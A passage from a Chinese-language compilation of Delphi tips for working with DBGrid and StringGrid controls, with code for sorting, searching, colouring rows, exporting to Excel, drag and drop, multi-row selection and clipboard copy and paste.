Renglon := TStringList.Create;

For Line := 1 to StrGrid.RowCount-1 do

Begin

PosActual := Line;

Row.Assign(TStringlist(StrGrid.Rows[PosActual]));

While True do

Begin

If (PosActual = 0) Or (StrToInt(Row.Strings[NoColumn-1]) >=

StrToInt(StrGrid.Cells[NoColumn-1,PosActual-1])) then

Break;

StrGrid.Rows[PosActual] := StrGrid.Rows[PosActual-1];

Dec(PosActual);

End;

If StrToInt(Row.Strings[NoColumn-1]) < StrToInt(StrGrid.Cells[NoColumn-1,PosActual]) then

StrGrid.Rows[PosActual] := Row;

End;

Renglon.Free;

end;


给DBGrid增加搜索功能

下面给出一个完整的例子，要注意的是：一开始需要将查询的字段全部加入TDBGrid中，否则会有访问冲突的。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Db, DBTables, Grids, DBGrids, StdCtrls, ExtCtrls, DBCtrls;

type

TTFm_Main = class(TForm)

qry_Data: TQuery;

Ds_Data: TDataSource;

Ed_Search: TEdit; //附加一个TEdit框.

dbg_Data: TDBGrid;

Database1: TDatabase; //数据库构件，试验时可任意设定。

DBNavigator1: TDBNavigator;

procedure dbg_DataTitleClick(Column: TColumn);

procedure FormCreate(Sender: TObject);

procedure Ed_SearchChange(Sender: TObject);

private

{ Private declarations }

FQueryStatement: string; // SQL 查询语句。

FALphaNumericKeyPress: TKeyPressEvent;

public

{ Public declarations }

property QueryStatement: string read FQueryStatement;

procedure FloatOnKeyPress(Sender: TObject; var Key: Char);

end;

var

TFm_Main: TTFm_Main;

implementation

{$R *.DFM}

procedure TTFm_Main.dbg_DataTitleClick(Column: TColumn);

var

vi_Counter: Integer;

vs_Field: String;

begin

with dbg_Data do

begin

//First, deselect all the Grid Columns

for vi_Counter:=0 to Columns.Count-1 do

Columns[vi_Counter].Color := clWindow;

//Next "Select" the column the user has Clicked on

Column.Color := clTeal;

//Get the FieldName of the Selected Column

vs_Field := Column.FieldName;

//Order the Grid Data by the Selected column

with qry_Data do

begin

DisableControls;

Close;

SQL.Clear;

SQL.Text := QueryStatement + ' ORDER BY '+ vs_Field;

Open;

EnableControls;

end;

//Get the DataType of the selected Field and change the Edit event

//OnKeyPress to the proper method Pointer

case Column.Field.DataType of

ftFloat: Ed_Search.OnKeyPress := FloatOnKeyPress;

else

Ed_Search.OnKeyPress := FALphaNumericKeyPress;

end;

end;

end;

procedure TTFm_Main.FloatOnKeyPress(Sender: TObject; var Key: Char);

begin

if not(Key in ['0'..'9', #13, #8, #10, #46]) then

Key := #0;

end;

procedure TTFm_Main.FormCreate(Sender: TObject);

begin

//Keep a pointer for the default event Handler

FALphaNumericKeyPress := Ed_Search.OnKeyPress;

//Set the original Query SQL Statement

FQueryStatement := 'SELECT * FROM your_table_name';

//Select the first Grid Column

dbg_DataTitleClick(dbg_Data.Columns[0]);

end;

procedure TTFm_Main.Ed_SearchChange(Sender: TObject);

var

vi_counter: Integer;

vs_Field: String;

begin

try

with dbg_Data do

begin

//First determine wich is the Selected Column

for vi_Counter:=0 to Columns.Count-1 do

if Columns[vi_Counter].Color = clTeal then

begin

vs_Field := Columns[vi_Counter].FieldName;

Break;

end;

//Locate the Value in the Query

with qry_Data do

case Columns[vi_Counter].Field.DataType of

ftFloat: Locate(vs_Field, StrToFloat(Ed_Search.Text),

[loCaseInsensitive, loPartialKey]);

else

Locate(vs_Field, Ed_Search.Text,[loCaseInsensitive,

loPartialKey]);

end;

end;

except

end;

end;

end.


给DBGrid加入排序功能

广东省农业管理干部学院 陈建兵

--------------------------------------------------------------------------------

在实际数据库管理系统中，用户对表中数据的操作，最频繁的莫过于浏览查询了，而查询中若能提供为某字段建立的排序功能，则非常有利于用户对“关键数据”的了解。

Windows的用户都知道，在“我的电脑”或“资源管理器”中打开任一文件夹，若以“详细资料”方式查看，系统会显示出该文件夹下的子文件夹和文件相关信息，如：名称、类型 、大小、修改时间，用户只需要单击标题栏中的相应项，则系统自动按该项进行“升序”（或“降序”）的排列显示，这样用户便能轻松查看相应的文件夹或文件对象的内容。

受此启发，考虑能不能在显示数据的Grid表格中完成如此功能呢？答案是肯定的。下面以在Delphi中的实现方法为例，通过具体内容，介绍该功能的实现。

步骤如下：

一、先建立一数据表

该表以Delphi 中最常用的Paradox为类型，取名为Student，反映（在职）学生的基本情况。该表各字段定义如下：

--------------------------------------------

字段名　　　　类型　　　　　　大小

序号　　　　　Short型　　　　　/ (Key*)

学号　　　　　Alpha型　　　　　6

出生日期　　　Date型　　　　　 /

性别　　　　　Alpha型　　　　　2

婚否　　　　　Logical型　　　　/

英语　　　　　Number型　　　　 /

高数　　　　　Number型　　　　 /

PASCAL　　　　Number型　　　　 /

备注　　　　　Memo型　　　　　 20

-------------------------------------------

保存后，随意往表中输入3至5条记录内容。

注：①表中必须建立关键索引（为首字段建立）。此处为“序号”字段；

②该表中使用了Paradox常用的几种字段类型，但尚未全部包含。

二、建立项目，实现功能

1．新建一项目，并为表单添加相关控件，各控件主要属性如下表：

2．建立各Click的事件代码

Button1(打开表)的Click事件代码如下：

procedure TForm1.Button1Click(Sender: TObject);

begin

Table1.Open; // 打开Table1关联的表Student

end;

Button2(关闭表单)的Click事件代码如下：

procedure TForm1.Button2Click(Sender: TObject);

begin

Application.Terminate;

end;

DBGrid1的TitleClick事件代码如下：

procedure TForm1.DBGrid1TitleClick(Column: TColumn);

//注：本过程参数Column包含的信息量非常多

begin

MySort(DBGrid1,Column);

end; //调用字段排序

其中，MySort(DBGrid1,Column)为自定义的排序过程，具体代码见下述。

3．建立通用处理模块

为使该功能具有“通用性”，将其定义为一过程。

首先，预声明过程及建立两个全局私有变量：

...

Type

...

procedure MySort(DBGrid0:TDBGrid; Column: TColumn);//预声明过程

private

{ Private declarations }

psIndexName:string; //记录当前索引名称

plAscend:boolean; //记录当前索引名称的索引状态

public

{ Public declarations }

end;

...

其次，该过程完整代码如下：

procedure TForm1.MySort(DBGrid0:TDBGrid; Column: TColumn);

var

//本模块使用到的psIndexName, plAscend两个变量见上定义

mode:char; //记录是“升序”还是“降序”

ColName:string; //记录当前字段名

iCol:Integer; //记录当前列号

begin

with DBGrid0.DataSource.DataSet as TTable do //Table0

begin

//检测当前工作表是否已打开

if not Active

then begin

MessageBeep(0);

Application.MessageBox('工作表尚未打开！','停止',MB_OK+MB_ICONSTOP);

Abort

end;

//检测当前字段是否“能排序”。以下字段类型不能排序

case Column.Field.DataType of

ftBoolean,

ftBytes,

ftBlob, //Binary

ftMemo,

ftGraphic,

ftFmtMemo, //Formatted memo

ftParadoxOle: //OLE

begin

MessageBeep(0);

Application.MessageBox(Pchar('项目"'+Column.FieldName+'"'+'不能排序！'),'停止

',MB_OK+MB_ICONSTOP);

Abort

end;

end; //case

mode:='0';

iCol:=Column.Field.FieldNo-1;

try

ColName:=Column.fieldname;

if psIndexName=Column.fieldname

then begin //与原来同列

if plAscend //升序

then begin

mode:='2';

IndexName:=ColName+'2'; //应“降序”

end

else begin

mode:='1';

IndexName:=ColName+'1'; //应“升序”

end;

plAscend:=not plAscend;

end

else begin //新列

IndexName:=ColName+'2';

plAscend:=false;

psIndexName:=ColName;

end;

except

on EDatabaseError do //若未有索引，则重新建立

begin

Messagebeep(0);

//以下新建索引

IndexName:='';

Close;

Exclusive:=true;

if mode='1'

then AddIndex(ColName+'1',ColName,[ixCaseInsensitive],'')//

else //包括'0'

AddIndex(ColName+'2',ColName,[ixDescending,ixCaseInsensitive],'');

Exclusive:=false;

Open;

try //try 1

if mode<>'1'

then begin

mode:='2';//转换

plAscend:=false;

end

else plAscend:=true;

IndexName:=ColName+mode;

psIndexName:=ColName;

except

on EDBEngineError do

IndexName:='';

end //try 2

end

end;

First;

end; //with

DBGrid0.SelectedIndex:=iCol;

end;//End of MySort

本过程已对所有可能的错误进行了相应的检测及处理，代码是比较完整的。因此，把该过程放入你相应的单元中，对每一个DBGrid，只要传递不同的DBGrid及Column参数，就能实现对应数据表的自动排序处理，而事先只为某字段建立一关键索引即可，其它Secondery Indexes的建立均在程序中自动完成，但会为每一个建立了索引的字段生成了一些附加文件（如*.XG?,*YG?等）。当然若有必要，可以在表单关闭前将所有的附加文件删除。


多层表头的DBGrid

李立新 王宁 张玉麟

TclientDataSet控件是在Delphi中设计多层分布式数据库程序的核心控件，在Delphi3中它最早出现，在Delphi4和Delphi5中得到了进一步加强。TclientDataSet控件具有强大的功能，无论是单层、两层C/S和多层结构都可以使用TclientDataSet控件。从borland公司的公布的资料看，它的功能还将得到不断增强，本文主要介绍利用TclientDataSet控件的特色功能——抽象字段类型配合TDBGRID控件实现复杂题头。

在设计数据库录入界面时，经常需要实现如图1所示的复杂题头，这通常需要利用第三方控件或进行特殊处理才能实现。而在Delphi中利用TClientDataSe的ADT（抽象字段类型）配合TDbgrid控件，可以非常容易地实现这种题头。

图1

下面就以一个员工的工资信息表来说明具体步骤。

假设某单位的工资信息表的结构如图2所示。

图2

首先生成一个新的Application,在窗体上添加一个TClientDataSet构件和TDataSource构件,其name属性分别为ClientDataSet1和DataSource1,并把DataSource1的DataSource属性设置为ClientDataSet1上；添加一个TDBGRID和TdbNavigator控件，命名为DBGRID1和DbNavigator1，其Datasource1属性设置为ClientDataSet1。

然后建立TclientDataSet的字段定义。这里只介绍如何定义抽象字段：将基本信息和工资作为两个抽象字段，如图3所示，将两个字段分别命名为INFO和Salary。

图3

然后依次建立INFO字段和SALARY的子字段，单击对象观察器的ChildDefs，进入子字段编辑器，依次输入该字段的子字段。然后调用TclientDataSet的快捷菜单（鼠标点击TclientDataSet控件，然后右击鼠标）CreateDataSet建立CDS数据表，并保存文件。最后建立TClientDataSet的永久字段，TclientDataSet的快捷菜单，选择ADD All Fields。

图4

至此有关ClientDataSet的设置完毕。

在设置完ClientDataSet之后，需要设置DBGRID的显示属性。主要就是设置Colums的有关属性（略）。编译运行即可出现如图2所示的运行界面。然后添加一个Tdbnavigator控件，将其DataSource属性设置为Datasource1。这些与普通的基于BDE的数据库应用是一样的，不多叙述。

TclientDataSet还具有其它特色功能，有兴趣的程序员还可以进一步发掘。


将 DBGrid 中的内容输出至 Excel 或 ClipBoard

 示例中，dbgrid(DBGrid1)具有一个弹出菜单，它给出两个选项："Send to Excel" 和 "Copy".
下面给出用到的方法:
//注意：下面的方法必须包含 ComObj, Excel97 单元
//-----------------------------------------------------------
// if toExcel = false, export dbgrid contents to the Clipboard
// if toExcel = true, export dbgrid to Microsoft Excel
procedure ExportDBGrid(toExcel: Boolean);
var
bm: TBookmark;
col, row: Integer;
sline: String;
mem: TMemo;
ExcelApp: Variant;
begin
Screen.Cursor := crHourglass;
DBGrid1.DataSource.DataSet.DisableControls;
bm := DBGrid1.DataSource.DataSet.GetBookmark;
DBGrid1.DataSource.DataSet.First;

// create the Excel object
if toExcel then
begin
ExcelApp := CreateOleObject('Excel.Application');
ExcelApp.WorkBooks.Add(xlWBatWorkSheet);
ExcelApp.WorkBooks[1].WorkSheets[1].Name := 'Grid Data';
end;

// First we send the data to a memo
// works faster than doing it directly to Excel
mem := TMemo.Create(Self);
mem.Visible := false;
mem.Parent := MainForm;
mem.Clear;
sline := '';

// add the info for the column names
for col := 0 to DBGrid1.FieldCount-1 do
sline := sline + DBGrid1.Fields[col].DisplayLabel + #9;
mem.Lines.Add(sline);

// get the data into the memo
for row := 0 to DBGrid1.DataSource.DataSet.RecordCount-1 do
begin
sline := '';
for col := 0 to DBGrid1.FieldCount-1 do
sline := sline + DBGrid1.Fields[col].AsString + #9;
mem.Lines.Add(sline);
DBGrid1.DataSource.DataSet.Next;
end;

// we copy the data to the clipboard
mem.SelectAll;
mem.CopyToClipboard;

// if needed, send it to Excel
// if not, we already have it in the clipboard
if toExcel then
begin
ExcelApp.Workbooks[1].WorkSheets['Grid Data'].Paste;
ExcelApp.Visible := true;
end;

FreeAndNil(mem);
// FreeAndNil(ExcelApp);
DBGrid1.DataSource.DataSet.GotoBookmark(bm);
DBGrid1.DataSource.DataSet.FreeBookmark(bm);
DBGrid1.DataSource.DataSet.EnableControls;
Screen.Cursor := crDefault;
end;


在TDBGrid中选择全部字段

 function GridSelectAll(Grid: TDBGrid): Longint;
begin
Result := 0;
Grid.SelectedRows.Clear;
with Grid.Datasource.DataSet do
begin
First;
DisableControls;
try
while not EOF do
begin
Grid.SelectedRows.CurrentRowSelected := True;
inc(Result);
Next;
end;
finally
EnableControls;
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
GridSelectAll(DBGrid1);
end;

投稿人：CoDelphi.com　投稿日期：2001-5-18 19:19:00


移去DBGrid的垂直滚动条

type
TNoVertScrollDBGrid = class(TDBGrid)
protected
procedure Paint; override;
end;

procedure Register;

implementation

procedure TNoVertScrollDBGrid.Paint;

begin
SetScrollRange(Self.Handle, SB_VERT, 0, 0, False);
inherited Paint;
end;

procedure Register;
begin
RegisterComponents('Data Controls', [TNoVertScrollDBGrid]);
end;

end.


定制InplaceEditor

procedure TForm1.FormCreate(Sender: TObject);
begin
{The combobox height is not settable, so we will}
{instead size the grid to fit the combobox!}
StringGrid1.DefaultRowHeight := ComboBox1.Height;
{Hide the combobox}
ComboBox1.Visible := False;
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
{Get the ComboBox selection and place in the grid}
StringGrid1.Cells[StringGrid1.Col,
StringGrid1.Row] :=
ComboBox1.Items[ComboBox1.ItemIndex];
ComboBox1.Visible := False;
StringGrid1.SetFocus;
end;

procedure TForm1.ComboBox1Exit(Sender: TObject);
begin
{Get the ComboBox selection and place in the grid}
StringGrid1.Cells[StringGrid1.Col,
StringGrid1.Row] :=
ComboBox1.Items[ComboBox1.ItemIndex];
ComboBox1.Visible := False;
StringGrid1.SetFocus;
end;

procedure TForm1.StringGrid1SelectCell(Sender: TObject; Col,
Row:
Integer;  var CanSelect: Boolean);
var
R:
TRect;
begin
if ((Col = 3) AND
(Row <> 0)) then begin
{Size and position the combo box to
fit the cell}
R := StringGrid1.CellRect(Col,
Row);
R.Left := R.Left +
StringGrid1.Left;
R.Right := R.Right +
StringGrid1.Left;
R.Top := R.Top +
StringGrid1.Top;
R.Bottom := R.Bottom +
StringGrid1.Top;
ComboBox1.Left := R.Left +
1;
ComboBox1.Top := R.Top + 1;
ComboBox1.Width := (R.Right + 1) - R.Left;
ComboBox1.Height := (R.Bottom + 1) - R.Top;
{Show the
combobox}
ComboBox1.Visible := True;
ComboBox1.SetFocus;
end;
CanSelect :=
True;
end;
/////////////////////////////////////////////////////////////
unit
CustomEditorGrid;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, DBGrids;

type
TMyInplaceEdit = class(TInplaceEdit)
public
procedure DblClick; override;
end;

TCustomEditorGrid = class(TDBGrid)
private
{ Private declarations }
protected
{ Protected declarations }
function CreateEditor: TInplaceEdit; override;
public
{ Public declarations }
published
{ Published declarations }
end;

procedure Register;

implementation

const
SomeDefaultValue = 'Default Value';

procedure Register;
begin
RegisterComponents('Custom', [TCustomEditorGrid]);
end;

{ TCustomEditorGrid }

function TCustomEditorGrid.CreateEditor: TInplaceEdit;
begin
Result := TMyInplaceEdit.Create(Self);
end;

{ TMyInplaceEdit }

procedure TMyInplaceEdit.DblClick;
begin
inherited DblClick;

if (Text = '') then
Text := SomeDefaultValue;
end;

end.


动态更新DBGrid的颜色

DBGrid控件是一个有许多用户接口的显示数据库的控件，以下的程序告诉您如何根据显示的内容改变字体的显示颜色。例如，如果一个城市的人口大于200万，我们就让它显示为蓝色。使用的控件事件为DBGrid.OnDrawColumeCell.

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect:TRect;DataCol: Integer; Column: TColumn; State: TGridDrawState);

begin

if Table1.FieldByName('Population').AsInteger > 20000000 then

DBGrid1.Canvas.Font.Color := clBlue;

DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State);

end;
//////////////////////////////////////
---- 有个问题是在Delphi中使用DBGrid时，如何让DBGrid中每一行颜色按照用户自己的意愿控制。最初看到这个问题时，我们以为非常非常简单，所以马上动手准备解决它。结果却发现不是那么回事，传统方法根本不能发挥作用。在电脑面前一直坐到凌晨4点，不断地调试，幸运地是凭借平时积累的一点编程经验，终于找到了开门的匙钥。现将它充公，供大家享用。

---- 1、 数据表的建立

---- 在Delphi的工具菜单中选择Database desktop，在数据库DBDemos下建立一个名为example.db的数据表。数据表的字段和内容如下：

Name Age Wage
张山 25 500
王武 57 1060
李市 30 520
刘牛 28 390

---- 2、创建基于TDBGrid的TColoredDBGrid组件
---- 在Delphi组件菜单中，选择New Component,在弹出对话框中作以下设置：

Ancestor Type = TDBGrid
Class Name = TColoredDBGrid

---- 然后单击OK按钮，Delphi自动完成组件基本框架的定义。增添OnDRawColoredDBGrid事件并使它出现在Object Inspector的Events中以便在应用程序中设定改变行颜色的条件。重载DrawCell方法，只能自己绘制单元格。不能通过在OnDrawColumnCell来设置颜色，因为在OnDrawColumnCell改变单元格的颜色会再次触发OnDrawColumnCell。
---- 下面就是所创建组件的源程序 。

---- 3、建立应用程序进行验证。

---- 在Delphi文件菜单中选择New建立新的应用程序工程Project1和主窗体Form1，设置Form1的Caption属性为“控制DBGrid行颜色的示例”。在主窗体上添加Data Source、Table、Button和ColoredDBGrid组件。设置各组件的属性如下：

Table1.Database=’DBDemos’
Table1.Tablename=’example.db’
Datasource1.Dataset=Table1
ColoredDBGrid1.Datasource=DataSource1
Button1.Caption=’退出’

---- 在ColoredDBGrid1的onDRawColoredDBGrid事件中输入下列代码，设定由Wage（工资）来决定在ColoredDBGrid1各行的颜色。
procedure TForm1.ColoredDBGrid1 DRawColoredDBGrid
(Sender: TObject; Field: TField; var Color:
TColor; var Font: TFont);
Var
p : Integer;
begin
p := Table1.FindField('wage').AsInteger;
//取得当前记录的Wage字段的值。
if(p < 500) then begin
//程序将根据wage值设置各行的颜色。
Color := clGreen;
Font.Style := [fsItalic];
//不仅可以改变颜色,还可以改变字体
end;
if(p >= 500) And (p < 800) then
Color := clRed;
if(p >=800) then begin
Color := clMaroon;
Font.Style := [fsBold];
end;
end;
//用‘退出’按钮结束程序运行。
procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;

---- 4、程序运行结果
---- 本程序在win98（中文版）和delphi4.0（C/S版）中测试运行，得到预计的结果：第一行和第三行变为红色，第二行变为棕色，第四行为绿色，满足了基本要求。


使Enter键在DBGrid中功能类似Tab键

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
{ This is the event handler for the FORM's OnKeyPress event! }
{ You should also set the Form's KeyPreview property to True }
begin
if Key = #13 then {回车键 }

if not (ActiveControl is TDBGrid) then begin { if not on a TDBGrid }
Key := #0; { eat enter key }
Perform(WM_NEXTDLGCTL, 0, 0); { move to next control }
end
else if (ActiveControl is TDBGrid) then { if it is a TDBGrid }
with TDBGrid(ActiveControl) do
if selectedindex < (fieldcount -1) then { increment the field }
selectedindex := selectedindex +1
else
selectedindex := 0;

end;


DBGrid的拖放例子

unit GridU1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, Db, DBTables, Grids, DBGrids, StdCtrls;

type
TForm1 = class(TForm)
MyDBGrid1:
TDBGrid;
Table1: TTable;
DataSource1: TDataSource;
Table2:
TTable;
DataSource2: TDataSource;
MyDBGrid2: TDBGrid;
procedure MyDBGrid1MouseDown(Sender:
TObject;
Button: TMouseButton; Shift:
TShiftState; X, Y: Integer);
procedure
MyDBGrid1DragOver(Sender, Source: TObject;
X,
Y: Integer; State: TDragState; var Accept: Boolean);
procedure MyDBGrid1DragDrop(Sender, Source:
TObject;
X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

var
SGC : TGridCoord;

procedure TForm1.MyDBGrid1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
DG : TDBGrid;
begin
DG := Sender as TDBGrid;
SGC := DG.MouseCoord(X,Y);
if (SGC.X > 0) and (SGC.Y > 0) then
(Sender as TDBGrid).BeginDrag(False);
end;

procedure TForm1.MyDBGrid1DragOver(Sender, Source: TObject;
X, Y:
Integer; State: TDragState; var Accept: Boolean);
var
GC :
TGridCoord;
begin
GC := (Sender as
TDBGrid).MouseCoord(X,Y);
Accept := Source is TDBGrid and (GC.X >
0) and (GC.Y > 0);
end;

procedure TForm1.MyDBGrid1DragDrop(Sender, Source: TObject;
X, Y:
Integer);
var
DG     : TDBGrid;
GC     : TGridCoord;
CurRow :
Integer;
begin
DG := Sender as TDBGrid;
GC :=
DG.MouseCoord(X,Y);
with DG.DataSource.DataSet do
begin
with (Source as TDBGrid).DataSource.DataSet
do
Caption := 'You dragged
"'+Fields[SGC.X-1].AsString+'"';
DisableControls;
CurRow := DG.Row;
MoveBy(GC.Y-CurRow);
Caption := Caption+' to
"'+Fields[GC.X-1].AsString+'"';
MoveBy(CurRow-GC.Y);
EnableControls;
end;
end;

end.


禁止在DBGrid中按delete删除记录

procedure TForm1.DBGrid1KeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

if (ssctrl in shift) and (key=vk_delete) then key:=0;

end;


TDBGrid的多选特性

// property SelectedRows: TBookmarkList read FBookmarks;

// TBookmarkList = class
// public

{* The Clear method will free all the selected records
within the DBGrid *}
// procedure Clear;

{* The Delete method will delete all the selected rows
from the dataset *}
// procedure Delete;

{* The Find method determines whether a bookmark is

       in the selected list.
*}
// function  Find(const Item:
TBookmarkStr;
//      var Index:
Integer): Boolean;

{* The IndexOf method returns the index of the
bookmark within the Items property. *}
// function IndexOf(const Item: TBookmarkStr): Integer;

{* The Refresh method returns a boolean value to notify
whether any orphans were dropped (deleted) during the
time the record has been selected in the grid. The
refresh method can be used to update the selected list

to minimize the possibility of accessing a deleted
record. *}
// function Refresh: Boolean; True = orphans found

{* The Count property returns the number of currently
selected items in the DBGrid *}
// property Count: Integer read GetCount;

{* The CurrentRowSelected property returns a boolean
value and determines whether the current row is
selected or not. *}
// property CurrentRowSelected: Boolean
// read GetCurrentRowSelected

// write SetCurrentRowSelected;

    {* The Items property is a TStringList
of
TBookmarkStr *}
// property Items[Index: Integer]: TBookmarkStr
//      read GetItem; default;

// end;

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Grids, DBGrids, DB, DBTables;

type
TForm1 = class(TForm)
Table1: TTable;
DBGrid1: TDBGrid;
Count: TButton;
Selected: TButton;

    Clear: TButton;
Delete:
TButton;
Select: TButton;
GetBookMark: TButton;
Find: TButton;
FreeBookmark: TButton;
DataSource1:
TDataSource;
procedure CountClick(Sender:
TObject);
procedure SelectedClick(Sender:
TObject);
procedure ClearClick(Sender:
TObject);
procedure DeleteClick(Sender:
TObject);
procedure SelectClick(Sender:
TObject);
procedure GetBookMarkClick(Sender:
TObject);
procedure FindClick(Sender: TObject);

procedure FreeBookmarkClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Bookmark1: TBookmark;
z: Integer;

implementation

{$R *.DFM}

//Example of the Count property
procedure TForm1.CountClick(Sender: TObject);
begin
if DBgrid1.SelectedRows.Count > 0 then
begin
showmessage(inttostr(DBgrid1.SelectedRows.Count));
end;
end;

//Example of the CurrentRowSelected property

procedure TForm1.SelectedClick(Sender: TObject);
begin
if DBgrid1.SelectedRows.CurrentRowSelected then
showmessage('Selected');
end;

//Example of the Clear Method
procedure TForm1.ClearClick(Sender: TObject);
begin
dbgrid1.SelectedRows.Clear;
end;

//Example of the Delete Method
procedure TForm1.DeleteClick(Sender: TObject);
begin
DBgrid1.SelectedRows.Delete;
end;

{*
This example iterates through the selected rows
of the grid and displays the second field of

the dataset.

The Method DisableControls is used so that the
DBGrid will not update when the dataset is changed.
The last position of the dataset is saved as
a TBookmark.

The IndexOf method is called to check whether or
not the bookmark is still existent.
The decision of using the IndexOf method rather
than the Refresh method should be determined by the
specific application.
*}

procedure TForm1.SelectClick(Sender: TObject);
var

x: word;
TempBookmark: TBookMark;
begin
DBGrid1.Datasource.Dataset.DisableControls;
with DBgrid1.SelectedRows do
if Count > 0 then
begin
TempBookmark:= DBGrid1.Datasource.Dataset.GetBookmark;
for x:= 0 to Count - 1 do
begin
if IndexOf(Items[x]) > -1 then
begin
DBGrid1.Datasource.Dataset.Bookmark:= Items[x];
showmessage(DBGrid1.Datasource.Dataset.Fields[1].AsString);
end;
end;
DBGrid1.Datasource.Dataset.GotoBookmark(TempBookmark);

DBGrid1.Datasource.Dataset.FreeBookmark(TempBookmark);
end;
DBGrid1.Datasource.Dataset.EnableControls;
end;

{*
This example allows you to set a bookmark and
and then search for the bookmarked record within
selected a record(s) within the DBGrid.
*}

//Sets a bookmark
procedure TForm1.GetBookMarkClick(Sender: TObject);
begin
Bookmark1:= DBGrid1.Datasource.Dataset.GetBookmark;
end;

//Frees the bookmark
procedure TForm1.FreeBookmarkClick(Sender: TObject);

begin
if assigned(Bookmark1) then
begin
DBGrid1.Datasource.Dataset.FreeBookmark(Bookmark1);
Bookmark1:= nil;
end;
end;

//Uses the Find method to locate the position of the
//bookmarked record within the selected list in the DBGrid
procedure TForm1.FindClick(Sender: TObject);
begin
if assigned(Bookmark1) then
begin
if DBGrid1.SelectedRows.Find(TBookMarkStr(Bookmark1),z) then
showmessage(inttostr(z));
end;
end;

end.


在DBGrid中实现Copy、Paste功能

    工具条上的Cut、Copy和Paste加速按钮，对于使用Windows下编辑器的人来说，恐怕都是非常熟悉而且不可缺少的。Delphi中的有些控件，如:TDBEdit、TDBImage、TDBMemo、TEdit等，具有CutToClipboard、CopyToClipboard和PasteFromClipboard方法，在这些控件上，利用这几个方法，只要通过简单的编程，就可以实现上述加速按钮。但TDBGrid控件却不提供上述方法，无法直接实现这几种功能。而在单机的数据库应用程序中，TDBGrid却经常被用来进行数据(包括数字和文字)的输入，没有Copy和Paste功能，使用起来深感不便。笔者在编程过程中，利用中间控件进行“过渡”，间接地实现了这几种功能。

    主要思路:既然TDBGrid控件无法直接实现Copy和Paste编辑功能，则可以将TDBGrid控件中需要进行这几种编辑的字段(Field)的内容，转移到具备这几种功能的控件(以TDBEdit为例)中去，编辑完毕后，再传回到TDBGrid中。

    具体方法:在已设计好的包含有TDBGrid控件(设名为DBGrid1)的窗体中，增加一个TDBEdit(设名为DBEdit1)控件，其DataSources属性设为与DBGrid1的DataSources属性相同，对DBGrid1控件的OnColEnter事件编程，使DBEdit1的DataField属性值等于DBGrid1控件的被选择字段的字段名。再在窗体中增加两个快速按钮:Copy和Paste，图形可选Delphi子目录下ImagesιButtons子目录里的Copy.bmp和Paste.bmp。对Copy快速按钮的OnClick事件编程:
    DBEdit1.CopyToClipboard;

    对Paste快速按钮的OnClick事件编程:
    DBEdit1.PasteFromClipboard;
    DBGrid1.SelectedField.AsString:=DBEdit1.Text;

    此时，如果DBGrid1中的某一单元Cell数字需要粘贴另一单元Cell2的部分或全部内容，用鼠标单击选择Cell2，此时DBEdit1所显示的内容与Cell2的内容相同。在DBEdit1中用鼠标拖曳选择部分或全部内容，单击Copy快速按钮;再用鼠标单击选择Cell，此时DBEdit1所显示的内容与Cell相同，在DBEdit中欲粘贴刚才所选内容的位置插入光标，单击Paste快速按钮，则刚才所选内容插入到光标位置，Cell的内容也随之改变成插入后的内容，由此完成了一次Copy—Paste操作。

    用这种方法实现Copy—Paste操作，比正常的操作多了一次鼠标的键击、两次鼠标的移动。在重复输入的内容不多，且操作者键盘输入很快很熟练的情况下，这种实现Copy—Paste的方法，意义似乎不大。但如果应用程序的使用者是那些并没有掌握某种快速文字输入技巧、很有可能还在使用拼音输入法的人，如果使用者对正常的Copy—Paste方法本来就不熟练(则感觉不到这种方法的不合常规)，且又非常地善于在一长串的同音字里翻来翻去地寻找的话，这还是一种不错的方法。如果哪位读者有能在TDBGrid中实现常规Copy—Paste操作的方法，请不吝赐教。

    以下是有关的程序代码:
procedure
TUnitDetail.DBGrid1ColEnter(Sender:TObject);
begin
case
DBGrid1.SelectedIndex of
0:DBEdit1.DataField:='UnitNum';
1:DBEdit1.DataField:='UnitName';
2:DBEdit1.DataField:='Header';
3:DBEdit1.DataField:='Address';
4:DBEdit1.DataField:='Tel';
end;
end;

    procedure TUnitDetail.SBCopyClick(Sender:TObject);
    begin
    DBEdit1.CopyToClipboard;
    end;

    procedureTUnitDetail.SBPasteClick(Sender:TObject);
    begin
    DBEdit1.PasteFromClipboard;
    DBGrid1.SelectedField.AsString:=DBEdit1.text;
    end;


字符串网格文字输出的对齐

比如想要使字符串网格的第一行字符居中对齐，其他行右对齐，可以通过StringGrid.OnDrawCell事件处理来完成。

procedure WriteText(ACanvas: TCanvas; const ARect: TRect; DX, DY: Integer;
const Text: string; Format: Word);
var
S: array[0..255] of Char;
B, R: TRect;

begin
with ACanvas, ARect do
begin
case Format of
DT_LEFT : ExtTextOut(Handle, Left + DX, Top + DY, ETO_OPAQUE or
ETO_CLIPPED, @ARect, StrPCopy(S, Text),
length(Text), nil);

DT_RIGHT : ExtTextOut(Handle, Right - TextWidth(Text) - 3, Top + DY,
ETO_OPAQUE or ETO_CLIPPED, @ARect, StrPCopy(S, Text), Length(Text), nil);

DT_CENTER : ExtTextOut(Handle, Left + (Right - Left - TextWidth(Text)) div 2, Top + DY, ETO_OPAQUE or ETO_CLIPPED, @ARect,
StrPCopy(S, Text), Length(Text), nil);
end;
end;
end;

procedure TBEFStringGrid.DrawCell(Col, Row: Longint; Rect: TRect; State: TGridDrawState);
var

procedure Display(const S: string; Alignment: TAlignment);
const
Formats: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
begin
